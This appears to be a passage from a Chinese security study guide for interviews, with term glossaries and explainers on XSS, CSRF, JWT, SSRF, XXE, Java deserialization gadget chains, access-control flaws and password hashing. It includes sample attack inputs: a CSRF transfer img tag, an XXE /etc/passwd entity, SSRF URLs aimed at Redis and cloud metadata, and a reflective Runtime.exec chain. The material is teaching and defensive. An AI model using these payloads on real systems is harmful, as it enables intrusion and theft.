| JEP 290 | JDK Enhancement Proposal 290 | JDK 给反序列化加的白名单机制(JDK 8u121+) | 11/12 |
10.1.3 认证 / 授权 / 密码学
| 缩写 / 术语 | 英文全称 | 一句话白话 | 在哪篇 |
|---|---|---|---|
| OAuth | Open Authorization | 授权协议:让第三方应用拿到你的部分权限(不是你的密码) | 06/11 |
| OAuth2 | OAuth 2.0 | OAuth 的 2.0 版本,现在的主流 | 06/11 |
| OIDC | OpenID Connect | 在 OAuth2 之上加了一层身份认证(OAuth2 只管授权,不管“你是谁”) | 06/11 |
| JWT | JSON Web Token | 一种令牌格式,把用户信息签名后存客户端(Payload 只是 Base64,不是加密) | 03/06/11 |
| SSO | Single Sign On | 单点登录:登录一次,所有系统都放行 | 06/11 |
| SAML | Security Assertion Markup Language | 老牌企业级单点登录协议,用 XML(银行、国企常见) | 06/11 |
| PKCE | Proof Key for Code Exchange | 授权码模式的增强:给授权码加一次性密钥,防止授权码被截获 | 11 |
| RBAC | Role-Based Access Control | 基于角色的权限控制:用户→角色→权限 | 06/11 |
| ABAC | Attribute-Based Access Control | 基于属性的权限控制:看“时间+地点+角色+设备”综合判断(更灵活更复杂) | 11 |
| 水平越权 | Horizontal Privilege Escalation | 同级别之间:我能看你的订单(改 ID 就行) | 11 |
| 垂直越权 | Vertical Privilege Escalation | 上下级之间:普通用户干了管理员的事 | 11 |
| 最小权限 | Principle of Least Privilege | 只给“刚好够用”的权限,多一分都不给 | 11/12 |
| 零信任 | Zero Trust | 不再有“内网可信”:每一次访问都要验证,不管从哪来 | 11 |
| MFA / 2FA | Multi-Factor / Two-Factor Auth | 多因素认证:密码 + 手机验证码(密码泄露了也进不去) | 11 |
| TOTP | Time-based One-Time Password | 基于时间的动态口令(30 秒变一次的那个 6 位数) | 11 |
| HTTPS | HTTP Secure | HTTP + TLS 加密,防窃听和篡改 | 09/11 |
| TLS | Transport Layer Security | 传输层安全协议(SSL 的继任者) | 09/11 |
| mTLS | Mutual TLS | 双向 TLS:不仅客户端验证服务端,服务端也验证客户端 | 07/11 |
| 中间人攻击 | Man-in-the-Middle (MITM) | 攻击者插在通信双方之间窃听/篡改 | 09/11 |
| CA | Certificate Authority | 证书颁发机构,负责证明“这个网站确实是它” | 09/11 |
| 加盐 | Salt | 密码哈希时加随机字符串,防彩虹表破解 | 09/11 |
| 彩虹表 | Rainbow Table | 预先算好大量“明文→哈希”的对照表,用来反查密码 | 11 |
| BCrypt | Blowfish Crypt | 专门为密码设计的慢哈希,自带随机盐,推荐默认用它 | 11 |
| Argon2 | Argon2 | 2015 年密码哈希竞赛冠军,比 BCrypt 更抗 GPU 破解,新项目首选 | 11 |
| PBKDF2 | Password-Based Key Derivation Function 2 | 老牌口令派生算法(用得广,但不如 BCrypt/Argon2) | 11 |
| AES-GCM | Advanced Encryption Standard - Galois/Counter Mode | 对称加密的推荐模式:加密的同时顺带防篡改 | 11 |
| RSA | Rivest-Shamir-Adleman | 最经典的非对称加密算法 | 09/11 |
| HMAC | Hash-based MAC | 带密钥的哈希,用来证明“消息没被改过且是我发的” | 11 |
| 国密 SM2 / SM3 / SM4 | 商密算法 | 国产密码算法:SM2 非对称、SM3 哈希、SM4 对称(金融/政务项目要求) | 11 |
| 脱敏 | Data Masking | 把敏感信息遮掉一部分给人看:138****1234 |
11 |
| HttpOnly | — | Cookie 属性:JS 读不到(就算 XSS 也偷不走) | 09/11 |
| Secure | — | Cookie 属性:只在 HTTPS 下才发送 | 09/11 |
| SameSite | — | Cookie 属性:限制跨站请求带不带 Cookie(Strict / Lax / None) | 09/11 |
| CSP | Content Security Policy | 内容安全策略:白名单限制页面能加载哪些来源的脚本 | 09/11 |
10.1.4 云原生与容器安全
| 缩写 / 术语 | 英文全称 | 一句话白话 | 在哪篇 |
|---|---|---|---|
| 容器逃逸 | Container Escape | 从容器里跑出来,拿到宿主机的权限 | 11/12 |
| 特权容器 | Privileged Container | 拥有宿主机几乎所有能力的容器,等价于“半个宿主机 root” | 11/12 |
| Namespace | — | Linux 的“隔离”机制:让容器看不见宿主机的进程/网络/挂载 | 07/11 |
| Cgroup | Control Group | Linux 的“限额”机制:限制容器能用多少 CPU / 内存 | 07/11 |
| Capabilities | Linux Capabilities | 把 root 的超级权限拆成 40 多份,按需分配 | 11/12 |
| CAP_SYS_ADMIN | — | Capabilities 里最危险的一个,约等于“新的 root” | 11/12 |
| SA Token | ServiceAccount Token | K8s 给每个 Pod 发的“身份证”,默认就挂在容器里 | 07/11/12 |
| ServiceAccount | — | K8s 里给程序(不是人)用的账号 | 07/11/12 |
| etcd | — | K8s 的数据库,所有配置(含所有 Secret)都存在这 | 04/07/11 |
| kubelet | — | 跑在每个节点上的“节点管家”,10250 端口能 exec 进任意 Pod | 07/11/12 |
| NetworkPolicy | — | K8s 的“内网防火墙”:规定 Pod 之间谁能连谁 | 07/11/12 |
| PSA | Pod Security Admission | K8s 内置的 Pod 安全标准(restricted / baseline / privileged 三级) | 07/11/12 |
| Secret | — | K8s 存敏感信息(密码/密钥)的对象,默认只 Base64,不加密 | 07/11/12 |
| Distroless | Distroless Image | 只有运行时、没有 shell 的镜像(被 RCE 了也无工具可用) | 11/12 |
| gVisor | — | Google 出的“用户态内核”,给容器加一层沙箱 | 11/12 |
| Kata Containers | — | 轻量级虚拟机容器:每个容器跑在自己的微型 VM 里 | 11/12 |
| cosign | — | 镜像签名与验签工具,证明“这个镜像确实是我们构建的” | 11/12 |
| 供应链攻击 | Supply Chain Attack | 不直接打你,而是污染你依赖的上游(镜像、依赖包、CI) | 11/12 |
| IMDS | Instance Metadata Service | 云主机的元数据服务(169.254.169.254),上面放着临时 AK/SK |
11/12 |
| Falco | — | 容器运行时安全监控:检测“容器里发生了不该发生的事” | 08/11/12 |
10.1.5 内网与中间件未授权
| 缩写 / 术语 | 英文全称 | 一句话白话 | 在哪篇 |
|---|---|---|---|
| 未授权访问 | Unauthorized Access | 服务开着但不校验身份,谁连上谁就是管理员 | 11/12 |
| UDF | User Defined Function | MySQL 的“自定义函数”:写个 so 让它执行系统命令(提权经典手法) | 03/11/12 |
| 主从复制 | Master-Slave Replication | Redis 的同步机制,被改造成“从主库加载恶意模块” → RCE | 04/11/12 |
| gopher | Gopher Protocol | 老协议,但能把任意 TCP 流量塞进去(SSRF 打 Redis 的利器) | 11/12 |
| heapdump | Java Heap Dump | Java 堆内存快照:环境变量会被脱敏,但堆里的明文密码不会 | 01/11/12 |
| Actuator | Spring Boot Actuator | Spring Boot 的监控端点,暴露了可能被拿 Shell、被拖 heapdump | 02/11/12 |
| Druid | Alibaba Druid | 数据库连接池监控页,没关掉的话别人能看到所有 SQL 和 Session | 03/11/12 |
| 横向移动 | Lateral Movement | 拿下一台机器后,以它为跳板继续打内网其他机器 | 11/12 |
| 隧道 / 内网穿透 | Tunneling | 用已控机器做代理,把内网服务“搬”到公网 | 11/12 |
| OOB | Out-of-Band | 带外检测:漏洞没回显,就让它去访问我的域名,我这边看日志 | 11/12 |
| DNSLog | — | OOB 的常用平台:给一个随机域名,谁访问了都能看见 | 12 |
10.1.6 治理、流程与工具
| 缩写 / 术语 | 英文全称 | 一句话白话 | 在哪篇 |
|---|---|---|---|
| CVE | Common Vulnerabilities and Exposures | 漏洞的身份证号,如 CVE-2021-44228 |
11/12 |
| CVSS | Common Vulnerability Scoring System | 漏洞危险程度打分(0~10 分,10 分封顶) | 11/12 |
| EPSS | Exploit Prediction Scoring System | 预测“这个漏洞未来 30 天被实际利用的概率”(比 CVSS 更该看) | 11 |
| KEV | Known Exploited Vulnerabilities | 美国 CISA 维护的“已经被用于实战攻击“的漏洞清单 | 11 |
| CWE | Common Weakness Enumeration | 漏洞类型的分类编号(如 CWE-89 = SQL 注入) | 11/12 |
| OWASP | Open Web Application Security Project | 开放 Web 应用安全组织,出了很多免费标准和工具 | 09/11 |
| OWASP Top 10 | — | OWASP 评出的“十大 Web 安全风险”,面试必背 | 09/11 |
| STRIDE | Spoofing/Tampering/Repudiation/Information Disclosure/DoS/Elevation | 微软的威胁建模框架,六个字母对应六类威胁 | 11 |
| 威胁建模 | Threat Modeling | 在写代码之前就系统地想一遍“哪里可能被攻击” | 11 |
| Kill Chain | Cyber Kill Chain | 攻击链的七个阶段:侦察→武器化→投递→利用→安装→C2→行动 | 11 |
| ATT&CK | Adversarial Tactics, Techniques, and Common Knowledge | MITRE 的“攻击者招式百科全书” | 11 |
| 纵深防御 | Defense in Depth | 不指望一道防线挡住,而是层层设卡 | 11/12 |
| DevSecOps | Development + Security + Operations | 把安全检查嵌进研发流程,而不是上线前才想起 | 07/11/12 |
| 安全左移 | Shift Left Security | 把安全从“上线前”挪到“写代码时”,越早修越便宜 | 07/11/12 |
| SDL | Security Development Lifecycle | 微软提出的安全开发生命周期(需求/设计/编码/测试/上线各阶段的安全活动) | 11 |
| WAF | Web Application Firewall | Web 防火墙:在流量进应用之前拦(看的是字面量) | 11/12 |
| HIDS | Host-based Intrusion Detection System | 主机入侵检测:监控服务器上的文件、进程、命令 | 08/11 |
| IDS / IPS | Intrusion Detection / Prevention System | 入侵检测 / 入侵防御(一个只报警,一个会拦) | 11 |
| SIEM | Security Information and Event Management | 安全日志集中分析平台(把所有日志汇总起来关联分析) | 08/11 |
| 应急响应 | Incident Response | 出事了怎么办:止损 → 取证 → 根除 → 恢复 → 复盘 | 08/11/12 |
| 取证 | Forensics | 保留证据、还原攻击过程(先取证再重装,别急着格盘) | 11/12 |
| 渗透测试 | Penetration Test | 授权前提下模拟真实攻击,找出系统弱点 | 11/12 |
| 红队 / 蓝队 | Red Team / Blue Team | 红队模拟攻击,蓝队负责防守(紫队 = 两边一起复盘) | 11/12 |
| 0day | Zero-Day | 厂商还不知道、因此没有补丁的漏洞 | 11/12 |
| PoC | Proof of Concept | 证明漏洞存在的示例代码 | 11/12 |
| EXP | Exploit | 能实际利用漏洞的完整攻击程序(比 PoC 更进一步) | 11/12 |
| Payload | — | 真正被执行的那段“恶意载荷” | 11/12 |
| SCA | Software Composition Analysis | 软件成分分析:自动查你的第三方依赖有没有已知漏洞 | 11/12 |
| SBOM | Software Bill of Materials | 软件物料清单:你这个包用了哪些依赖、什么版本的一张清单 | 11/12 |
| VEX | Vulnerability Exploitability eXchange | 声明“这个 CVE 虽然在这个依赖里,但我们用不到那条路径,所以不受影响” | 11/12 |
| CycloneDX / SPDX | — | 两种主流的 SBOM 格式标准 | 11/12 |
| Trivy | — | 一站式漏洞扫描器:能扫依赖、镜像、配置、IaC | 11/12 |
| Syft | — | 生成 SBOM 的工具(常和 Grype/Trivy 搭配) | 11/12 |
| gitleaks | — | 扫 Git 历史里有没有把密钥/密码提交进去 | 11/12 |
| Semgrep | — | 静态代码扫描:用规则找“危险写法”(不是找已知 CVE) | 11/12 |
| Nuclei | — | 基于模板的漏洞扫描器,一条命令扫上千个已知漏洞 | 12 |
| ffuf | Fuzz Faster U Fool | Web FUZZ 爆破工具:扫目录、扫参数、扫子域名 | 12 |
| sqlmap | — | SQL 注入自动化的事实标准 | 12 |
| Burp Suite | — | Web 渗透的瑞士军刀(抓包改包、重放、爆破) | 12 |
| Interactsh | — | 自建的 OOB 带外检测服务(Nuclei 用它验无回显漏洞) | 12 |
10.2 核心概念详解
XSS vs CSRF —— 一张表彻底分清
| XSS Cross-Site Scripting |
CSRF Cross-Site Request Forgery |
|
|---|---|---|
| 中文 | 跨站脚本 | 跨站请求伪造 |
| 攻击方式 | 把恶意 JS 代码注入到目标网站 | 诱导你点击,让你的浏览器冒充你发请求 |
| 信任谁 | 攻击者利用用户对网站的信任 | 攻击者利用网站对用户浏览器的信任 |
| 需要登录吗 | 不一定 | 必须(要利用你的登录态) |
| 偷什么 | Cookie、页面内容 | 以你的身份执行操作(转账、改密码) |
| 举例 | 评论区提交 <script>偷cookie</script> |
你登录了银行,又点开了恶意网站,它偷偷发“转账 1 万”的请求 |
| 防御 | 转义/过滤用户输入、CSP、HttpOnly Cookie | CSRF Token、校验 Referer、SameSite Cookie |
为什么 XSS 不叫 CSS:
因为 CSS 已经被“层叠样式表”(Cascading Style Sheets)占了,所以缩写改成 XSS。
XSS 的三种类型
① 存储型(最危险)
恶意脚本被【存到数据库】,每次页面加载都会执行
例:论坛评论里写 <script>...</script>,所有人看这个帖子都中招
② 反射型
恶意脚本在 URL 里,服务端原样返回给页面
例:search?keyword=<script>偷cookie</script>
需要诱导用户点击这个链接
③ DOM 型
前端 JS 直接把 URL 参数写进 DOM(不经过服务端)
例:document.write(location.hash)
XSS 防御:
- 输入过滤 / 输出转义:把
<>转成<> - CSP(Content Security Policy):限制页面只能加载指定来源的脚本
- HttpOnly Cookie:JS 读不到 Cookie(就算被 XSS 也偷不走)
- 前端框架自动转义:Vue 的
{{ }}、React 的{}默认转义(但v-html/dangerouslySetInnerHTML不会!)
CSRF 的攻击与防御
攻击流程:
① 你登录了银行网站,Cookie 里有登录凭证
② 你没退出,又去逛了恶意网站
③ 恶意网站里藏着:
<img src="http://bank.com/transfer?to=hacker&amount=10000">
④ 浏览器加载这个 img,自动带上 bank.com 的 Cookie
⑤ 银行收到请求,一看 Cookie 是你的 → 认为是你的操作 → 转账成功
防御三板斧:
① CSRF Token(最有效)
每次请求带一个随机 Token,服务端校验
攻击者拿不到这个 Token(因为 Token 在页面里,跨域读不到)
② SameSite Cookie
Set-Cookie: sessionid=xxx; SameSite=Strict/Lax
Strict:完全禁止第三方请求带 Cookie
Lax :只允许 GET 导航类请求带(现代浏览器默认值)
③ 校验 Referer / Origin
检查请求是不是从自己的域名来的
面试怎么答:
“XSS 是注入恶意脚本,CSRF 是伪造用户请求。 XSS 防的是’用户输入被当成代码执行’,靠转义和 CSP; CSRF 防的是’别人冒用你的身份发请求’,靠 Token 和 SameSite Cookie。 简单记:XSS 偷信息,CSRF 冒充你操作。”
OAuth / JWT / SSO —— 三个认证相关的概念
| OAuth2 | JWT | SSO | |
|---|---|---|---|
| 是什么 | 授权协议(一套流程规范) | 令牌格式(一种数据格式) | 一种效果(登录一次全通行) |
| 解决的 | “第三方应用怎么拿到我的部分权限,而又不拿到我的密码” | “怎么在客户端安全地携带用户信息” | “公司有 10 个系统,要登录 10 次吗?” |
| 关系 | OAuth2 流程中可以用 JWT 作为令牌 | 是一种格式,被 OAuth2 使用 | 通常用 OAuth2 + JWT 实现 |
OAuth2 的授权码模式(最常用,面试常考):
场景:用小明的微信登录"某个论坛"
① 论坛把小明跳转到微信的授权页面
② 小明在微信页面上点"同意"(注意:账号密码只给微信,论坛看不到)
③ 微信把小明跳回论坛,并带上一个【授权码 code】
④ 论坛【后台】拿这个 code + 自己的密钥,去微信换【access_token】
⑤ 论坛拿 access_token 去微信拿小明的基本信息(昵称、头像)
关键点:
- 小明的微信密码【从来没给过论坛】✅
- access_token 是在【后台】换的,前端拿不到 ✅
- code 是一次性的,且有效期很短(通常 10 分钟)✅
JWT 长什么样:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjEwMDAsInJvbGUiOiJhZG1pbiIsImV4cCI6MTcwMDAwMDAwMH0.abc123signature
三段,用 . 分隔:
① Header(头部) :算法和类型 → Base64 编码
② Payload(载荷) :用户信息 + 过期时间 → Base64 编码(【不是加密,任何人都能解码!】)
③ Signature(签名):用密钥对前两段签名 → 防篡改
关键认知:
⚠️ JWT 的 Payload 只是 Base64 编码,【不是加密】——不要存敏感信息!
✅ JWT 的价值在于【签名】:服务端用密钥验证签名,确认没被篡改
JWT 的优缺点(面试常问):
| 优点 | 缺点 |
|---|---|
| 无状态:服务端不用存 Session,适合分布式 | 无法主动失效:签发了就得等到期(改密码也拦不住) |
| 减少数据库查询 | 续期麻烦:快过期了怎么办? |
| 跨域友好 | 体积大:比 SessionId 大很多,每次请求都带上 |
无状态 JWT 的三个经典问题与解法:
① 无法主动踢人下线
解法:维护一个黑名单(Redis),校验时查一下(牺牲部分无状态性)
② 续期问题
解法:双 Token(access_token 短 + refresh_token 长)
access_token 过期 → 用 refresh_token 换新
③ 改密码后旧 Token 还能用
解法:把用户密码版本号放进 JWT,改密码时 +1,校验时比对
RBAC(Role-Based Access Control,基于角色的访问控制)
一句话:不直接给用户权限,而是给角色权限,再把角色分配给用户。
传统(ACL 访问控制列表):
用户张三 → 权限1、权限2、权限3
用户李四 → 权限1、权限2
⚠️ 1000 个用户就要配 1000 次
RBAC:
用户 ──属于──▶ 角色 ──拥有──▶ 权限
张三 → 管理员角色 → 查看/编辑/删除
李四 → 普通用户 → 查看
✅ 新增用户只需分配角色,改权限只需改角色的权限
标准的 RBAC 模型:
用户(User)
↓ 多对多
角色(Role) ← 如:超级管理员、部门经理、普通员工、访客
↓ 多对多
权限(Permission) ← 如:user:add、user:delete、order:view
↓ 属于
资源(Resource) ← 如:用户管理页面、订单列表
面试怎么说:
“我们用 RBAC 模型,五张表:用户、角色、权限、用户角色关联、角色权限关联。 前端做按钮级权限:登录后拿到权限列表,用自定义指令/函数判断按钮是否渲染。 后端做接口级权限:用拦截器或注解校验,前端的权限只是体验,真正的校验必须在后端。”
SSRF vs XXE vs IDOR —— 三个“看到了不该看的东西”
这三个在面试里经常被一起问,因为症状很像(都是“读到了不该读的数据”),但机理完全不同。
| SSRF | XXE | IDOR | |
|---|---|---|---|
| 中文 | 服务端请求伪造 | XML 外部实体注入 | 不安全的直接对象引用 |
| 谁被骗了 | 服务器(让它替你发请求) | XML 解析器(让它去读外部资源) | 谁都没被骗,是你自己没校验 |
| 利用的信任 | 服务器能访问内网 | XML 规范允许引用外部实体 | 用户传什么 ID 就查什么 ID |
| 典型 payload | url=http://127.0.0.1:6379 |
<!ENTITY x SYSTEM "file:///etc/passwd"> |
GET /order/1002(改成别人的) |
| 能拿到什么 | 内网服务、云元数据、Redis GetShell | 本地文件、内网端口探测、DoS | 别人的数据(订单/资料/文件) |
| 本质 | 服务器成了攻击者的代理 | 解析器成了攻击者的文件读取器 | 没有做归属校验 |
一句话记忆:
“SSRF 是骗服务器替我发请求,XXE 是骗解析器帮我读文件, IDOR 是谁都没骗——就是后端忘了查这条数据是不是你的。”
SSRF 为什么在云上特别致命
传统机房:
攻击者 → SSRF → 打到内网 Redis(未授权) → 拿到一台机器
内网里是几台物理机,价值有限
云上:
攻击者 → SSRF → 打到 169.254.169.254(IMDS 元数据服务)
→ 拿到临时 AK/SK(云账号的密钥!)
→ 用 AK/SK 调云 API:建子账号、开新机器、下载整个 OSS 桶
一次 SSRF = 整个云账号沦陷
面试金句:
“云上 SSRF 的靶子不再是内网 IP,而是 169.254.169.254 这个元数据服务。 它不需要认证,返回的是临时 AK/SK。所以云上的 SSRF 危害被放大了一个数量级—— 防御上除了禁 IP 段,最重要的是让元数据服务只能被本机进程访问、且必须走 IMDSv2 的 PUT 方式, 这样 SSRF(通常只能发 GET)就拿不到 Token。”
反序列化为什么能 RCE —— Gadget Chain 白话讲透
这是 Java 安全最反直觉的一条:“我只是把一个字节流还原成对象而已,怎么就执行了命令?”
第一步:readObject() 会自动执行代码
// 你以为反序列化只是"恢复数据"
Object obj = ois.readObject();
但实际上,readObject() 是一个方法。如果这个类自己重写了 readObject(),
JVM 就会在反序列化时自动调用它——这是语言规范规定的,不是漏洞,是特性。
生活类比: 你从快递柜取一个包裹(字节流)。正常的包裹打开就是东西(数据)。 但有些包裹里装的是一个会自动启动的机器——你一打开(反序列化), 它就自己按下了开机键(执行
readObject()里的代码)。 问题不在“取包裹”,在于有人寄了一台会自动开机的机器给你。
第二步:Gadget Chain(利用链)
攻击者的困境:他不能直接把“执行 rm -rf /“的代码序列化传过去——
因为服务端得有对应的类才能还原。
于是攻击者想了个办法:不用自己的类,用你项目里本来就有的类。
Gadget Chain 的构造思路:
① 找一个"入口类":它的 readObject() 会自动调用某个方法
↓ 如 AnnotationInvocationHandler.readObject() → map.entrySet()
② 找一个"跳板类":那个方法会调用另一个对象的方法
↓ 如 TransformedMap 的 setValue() → transform()
③ 找一个"执行类":最终调用反射执行任意代码
↓ 如 InvokerTransformer.transform() → Method.invoke()
④ 用反射把参数设成 "Runtime.exec('calc')"
结果:一串本来各干各的、完全无辜的类,被串成了一条"自动执行命令"的链条
生活类比(酒店机器人): 酒店里有三台机器,各自都很正常:
- 前台机器人:收到包裹就喊一声“几号房”(相当于入口类的
readObject())- 传送带:听到“几号房”就把包裹送过去(相当于跳板类)
- 房间机器人:收到包裹就按包裹上写的指示做(相当于执行类)
每一台单独看都没问题。但攻击者写了个包裹,上面写着“去把保险柜打开”, 把它投递到前台——于是三台机器自动接力,把保险柜开了。
没有哪台机器是“坏”的,但这条链是。这就是 Gadget Chain。
第三步:为什么 Runtime 不能被直接序列化
java.lang.Runtime 没有实现 Serializable,所以不能直接塞进 payload。
CommonsCollections 链用了个“曲线救国”的四步:
① 拿到 Runtime 的 Class 对象
Class c = Runtime.class;
② 通过反射拿到 getRuntime 方法
Method m1 = c.getMethod("getRuntime");
③ 调用它拿到 Runtime 实例
Runtime r = (Runtime) m1.invoke(null);
④ 再反射调用 exec
Method m2 = c.getMethod("exec", String.class);
m2.invoke(r, "calc");
每一步都是方法对象(Method 是可序列化的),所以能塞进字节流传过去,
在对方机器上重新拼装执行。
防御:为什么黑名单没用
黑名单:禁止反序列化 InvokerTransformer.class
↓
攻击者换一条链(CC2 / CC5 / CC6 / CB1 / ...)
↓
永远补不完 —— 因为"能凑成链的类"是开放集合
白名单(JEP 290):只允许反序列化这 5 个业务类
↓
任何其他类一律拒绝,并记录日志
面试怎么说:
“反序列化漏洞的根因不是反序列化本身,而是把不可信的字节流交给 readObject()。 防护思路有三层: ① 最彻底——换掉序列化协议,用 JSON / Kryo(Kryo 也要开 registrationRequired); ② 退而求其次——用 JEP 290 白名单,只允许业务类,其余拒绝并告警(被拒绝的类名还能当入侵检测信号); ③ 兜底——升级依赖到安全版本 + 上 RASP 拦截危险调用。 另外要强调:黑名单是补不完的,因为能组成链的类几乎是无限的。”
CVE / CVSS / EPSS / KEV / CWE —— 漏洞编号体系一次搞清
这五个缩写经常一起出现,很多人分不清。它们回答的是五个不同的问题:
| 缩写 | 回答的问题 | 长什么样 | 谁在维护 |
|---|---|---|---|
| CVE | 这个漏洞叫什么(身份证号) | CVE-2021-44228(年-序号) |
MITRE |
| CWE | 这个漏洞属于哪一类(病种) | CWE-89 = SQL 注入 |
MITRE |
| CVSS | 这个漏洞理论上多危险(0~10 分) | CVSS 10.0 (Critical) |
FIRST |
| EPSS | 这个漏洞实际被利用的概率(0~1) | EPSS 0.97(97%) |
FIRST |
| KEV | 这个漏洞已经被用于实战(是/否) | 在或不在清单里 | 美国 CISA |
关键认知(面试加分点):
CVSS 高 ≠ 现在就要修
CVSS 是"理论严重程度",很多 CVSS 9.8 的漏洞因为利用条件苛刻,实际从未被使用。
EPSS / KEV 才是排优先级该看的:
- EPSS > 0.9 :未来 30 天大概率被利用 → 立刻修
- 在 KEV 清单里:已经在被用来攻击了 → 立刻修
- CVSS 高但 EPSS < 0.01:可以排进正常迭代
生活类比:
- CVE = 疾病编号(“第 2021-44228 号病”)
- CWE = 病种分类(“呼吸道感染”)
- CVSS = 医生评的致死率(理论上有多严重)
- EPSS = 这个病今年实际会传染多少人的概率预测
- KEV = 卫生局通报的“已经在流行的病“清单
作为医院院长(研发负责人),该先防“已经在流行的”,而不是“致死率最高但没人得的”。
SCA / SBOM / VEX —— 依赖治理三件套
三个词都是为了解决同一个问题:你的项目用了几百个第三方包,怎么知道哪个有漏洞?
三者的关系
SCA(软件成分分析)
= 干这件事的【工具类别】
例:Trivy、Snyk、Dependency-Check、Renovate
作用:扫描你的依赖,报出"log4j-core 2.14.1 有 CVE-2021-44228"
SBOM(软件物料清单)
= SCA 产出的【那张清单】
作用:把你用了什么、什么版本,结构化记录下来(CycloneDX / SPDX 格式)
类比:食品的"配料表"、药品的"成分说明书"
VEX(漏洞可利用性交换)
= 对 SBOM 里某个 CVE 的【官方声明】
作用:"这个 CVE 确实在这个依赖里,但我们没调用那条代码路径,所以不受影响"
类比:配料表里有花生,但我这条产线没下花生 → 声明"本产品不含花生成分"
为什么 Log4Shell 之后 SBOM 突然火了
2021-12-09 Log4Shell 爆发
所有公司的第一个问题都是同一个:
"我们到底哪些系统用了 log4j-core?"
答不上来的公司 → 只能全公司所有 Java 项目逐个 grep、逐个翻 pom.xml
→ 花了 3~7 天才摸清家底(这几天就是攻击窗口)
有 SBOM 的公司 → 一条查询,10 分钟拿到完整清单
面试怎么说:
“Log4Shell 教会行业一件事:出事的时候,‘知道自己在哪’比’知道怎么修’更紧急。 所以我们把 SBOM 生成放进了 CI——每次构建都产一份 CycloneDX 清单并存起来。 平时它没什么存在感,但下次再来一个 Log4Shell,我们的 MTTR(平均修复时间) 可以从’几天’压到’几小时’。另外配 VEX,避免扫描器报了一堆 CVE 全是误报、 研发疲于应付最后干脆不看告警——告警的可信度比数量重要。”
越权的两种:水平越权与垂直越权
越权(Broken Access Control)连续多年排在 OWASP Top 10 第一名, 也是业务开发里最常见的漏洞——因为它不是“用了什么危险函数”,而是“少写了一行判断“。
水平越权(Horizontal)
┌─────────┐ ┌─────────┐
│ 用户 A │ │ 用户 B │ ← 同一级别(都是普通用户)
└────┬────┘ └────┬────┘
│ │
A 看到了 B 的订单、工资条、简历
代码长这样:
@GetMapping("/order/{id}")
public Order get(@PathVariable Long id) {
return orderMapper.selectById(id); // ❌ 没查这个订单是不是当前用户的
}
修复:
SELECT * FROM order WHERE id = ? AND user_id = 当前登录用户 // ✅
垂直越权(Vertical)
┌─────────┐
│ 普通用户 │ ────▶ 调用了 /admin/deleteUser ────▶ 干了管理员的活
└─────────┘
代码长这样:
@GetMapping("/admin/users") // ❌ 没有任何权限注解
public List<User> list() { ... }
修复:
@PreAuthorize("hasRole('ADMIN')") // ✅
一张表记清:
| 水平越权 | 垂直越权 | |
|---|---|---|
| 方向 | 平级之间(我看你的) | 上下级之间(我干领导的) |
| 根因 | 查询时没加归属条件 | 接口没做角色校验 |
| 典型场景 | 改 URL 里的 ID | 直接访问 /admin/xxx |
| 修复 | SQL 里带 user_id;或用 MyBatis 数据权限插件统一加 |
@PreAuthorize / 拦截器 / 网关统一鉴权 |
| 哪个更难发现 | 更难——返回的也是正常数据,日志看不出异常 | 容易——扫一遍接口清单就出来了 |
面试怎么说:
“水平越权比垂直越权更隐蔽,因为数据本身是正常的——订单确实存在、格式也对, 只是不属于当前用户,所以日志和监控都看不出来。我们的做法是: ① 在系统层面解决而不是靠人记得写——对所有带
userId的业务表, 用 MyBatis 拦截器自动追加归属条件; ② 审计日志里记录”谁在什么时候访问了谁的数据“, 用离线任务检测”一个账号短时间内遍历大量 ID“这种异常模式(这是水平拖数据的特征)。”
密码存储:为什么 MD5 存密码是错的
演进四阶段(面试常考“为什么”)
① 明文存储 ❌ 数据库一泄露全完
123456
② MD5 / SHA1 ❌ 看起来安全,其实一秒能撞出来
e10adc3949ba59abbe56e057f20f883e
问题 1:彩虹表 —— 常见密码的 MD5 早就有人算好做成对照表了,
直接反查,不用"破解"
问题 2:太快 —— MD5 一次只要几纳秒,GPU 一秒能算几百亿次,
8 位以内密码几个小时就能穷举完
③ MD5 + 固定盐 ⚠️ 好一点,但还有问题
md5("mySalt" + password)
问题:盐是写死在代码里的,代码一泄露盐就白加了;
同一个盐 → 相同密码的哈希仍然一样,能看出"这两人密码相同"
④ BCrypt / Argon2 ✅ 现在的标准答案
$2a$10$N9qo8uLOickgx2ZMRZoMyeIjZAgcfl7p92ldGxad68LJZdL17lhWy
格式:$算法$强度$盐(22字符)$哈希
BCrypt 好在哪三点
① 自带随机盐,且盐就存在结果里
每个用户的盐都不一样,不用你自己维护 salt 字段
→ 相同密码的两人,哈希完全不同
② 故意很慢,且能调"多慢"
$2a$10$ 中的 10 是 cost,表示 2^10 = 1024 轮
→ 想更快破解就得堆 1024 倍的算力
→ 电脑变快了就把 cost 调大(这是 MD5 做不到的)
③ 加盐 + 慢,两条都堵上了彩虹表和暴力破解
三个算法怎么选:
| BCrypt | Argon2 | PBKDF2 | |
|---|---|---|---|
| 年代 | 1999 | 2015(密码哈希竞赛冠军) | 老牌,NIST 认证 |
| 抗 GPU | 一般 | 强(可配置大量占用内存,GPU 内存不够就跑不快) | 弱 |
| 推荐度 | ✅ 稳妥默认 | ✅ 新项目首选 | ⚠️ 有合规要求时才用 |
| Spring 用法 | new BCryptPasswordEncoder() |
new Argon2PasswordEncoder() |
new Pbkdf2PasswordEncoder() |
生活类比: 存密码就像存保险箱里的现金。
- 明文 = 现金摊桌上
- MD5 = 锁了个密码锁,但锁芯是塑料的
- MD5 + 固定盐 = 换了个铁锁,但所有保险箱用同一把钥匙,配一把全开了
- BCrypt = 每个保险箱一把独一无二的钥匙,而且开一次要 0.3 秒 (对你来说无感,对小偷来说试 1 亿个密码要试 10 个月)
面试怎么说:
“密码存储我们用的是 BCrypt,Spring Security 的
BCryptPasswordEncoder, 强度设 10。选它的理由有三个:自带随机盐不用自己维护 salt 字段、 计算强度可调(硬件变强了就把 cost 调大)、同一个密码两次加密结果不同所以 看不出两个人是不是用了同一个密码。 提一下:MD5 不是”加密算法“而是摘要算法,它之所以不适合存密码, 核心不是不安全,而是太”快“了——安全哈希的首要指标是慢。”
WAF vs RASP vs HIDS —— 三层防护各看什么
| WAF | RASP | HIDS | |
|---|---|---|---|
| 中文 | Web 应用防火墙 | 运行时应用自保护 | 主机入侵检测 |
| 位置 | 流量进应用之前(网关侧) | 应用内部(JVM 里插桩) | 主机上(进程/文件/命令) |
| 看得见什么 | HTTP 请求原文 | 解密后、参数绑定后的真实调用 | 系统层面:改了什么文件、跑了什么命令 |
| 看不见什么 | 加密流量、非 HTTP 协议 | 非 Java 应用 | 应用内部逻辑 |
